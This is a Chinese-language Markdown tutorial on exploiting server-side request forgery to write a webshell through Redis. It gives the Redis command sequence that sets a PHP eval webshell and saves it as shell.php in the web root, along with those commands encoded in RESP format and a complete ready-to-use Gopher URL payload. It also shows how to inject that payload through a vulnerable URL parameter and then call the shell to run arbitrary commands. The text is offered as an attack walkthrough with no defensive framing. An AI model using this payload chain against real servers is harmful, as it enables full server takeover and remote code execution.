51 lines
2.6 KiB
Markdown
51 lines
2.6 KiB
Markdown
### SSRF 怎么用 Redis 写 Shell
|
||
|
||
**步骤一:利用 SSRF 伪造 Redis 协议请求**
|
||
|
||
SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 **Gopher 协议**。Gopher 协议可以发送自定义的 TCP 请求,这正是我们与 Redis 交互所需要的
|
||
|
||
Redis 的通信协议(RESP)是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式
|
||
|
||
**Redis 命令序列:**
|
||
|
||
我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令:
|
||
|
||
1. `SET webshell "<?php eval($_POST['cmd']);?>"`:设置一个键名为 `webshell`,值为我们想要写入的 Webshell 代码
|
||
2. `CONFIG SET dir "/var/www/html/"`:设置 Redis 的工作目录为网站的根目录
|
||
3. `CONFIG SET dbfilename "shell.php"`:设置持久化文件名为 `shell.php`
|
||
4. `SAVE`:执行保存命令,将数据持久化到指定的文件中
|
||
|
||
**步骤二:将命令编码为 Gopher 协议 URL**
|
||
|
||
我们需要将上述 Redis 命令序列转换成 Gopher URL
|
||
|
||
- **将命令转换为 RESP 协议格式**:
|
||
|
||
- `SET webshell "<?php eval($_POST['cmd']);?>"` -> `*3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n<?php eval($_POST['cmd']);?>\r\n`
|
||
- `CONFIG SET dir "/var/www/html/"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n`
|
||
- `CONFIG SET dbfilename "shell.php"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n`
|
||
- `SAVE` -> `*1\r\n$4\r\nSAVE\r\n`
|
||
|
||
*注:`\r\n` 是回车换行符,在 URL 中需要编码为 `%0d%0a`*
|
||
|
||
- **拼接成完整的 Gopher URL**: `gopher://127.0.0.1:6379/_` + `[RESP 编码的命令]` + `%0d%0a` + `[RESP 编码的命令]` + ...
|
||
|
||
一个完整的 Gopher URL 示例如下:
|
||
|
||
```apl
|
||
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
|
||
```
|
||
|
||
**步骤三:通过 SSRF 漏洞发起请求**
|
||
|
||
将上述构造好的 URL 作为 SSRF 漏洞的参数值,例如:
|
||
|
||
```apl
|
||
http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_...
|
||
```
|
||
|
||
当服务器端执行这个请求时,它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令,最终在 `/var/www/html/` 目录下生成一个名为 `shell.php` 的文件,其内容就是我们的 Webshell
|
||
|
||
**步骤四:访问 Webshell**
|
||
|
||
攻击者现在可以直接访问 `http://example.com/shell.php`,并通过 `cmd` 参数执行任意命令,从而完全控制服务器 |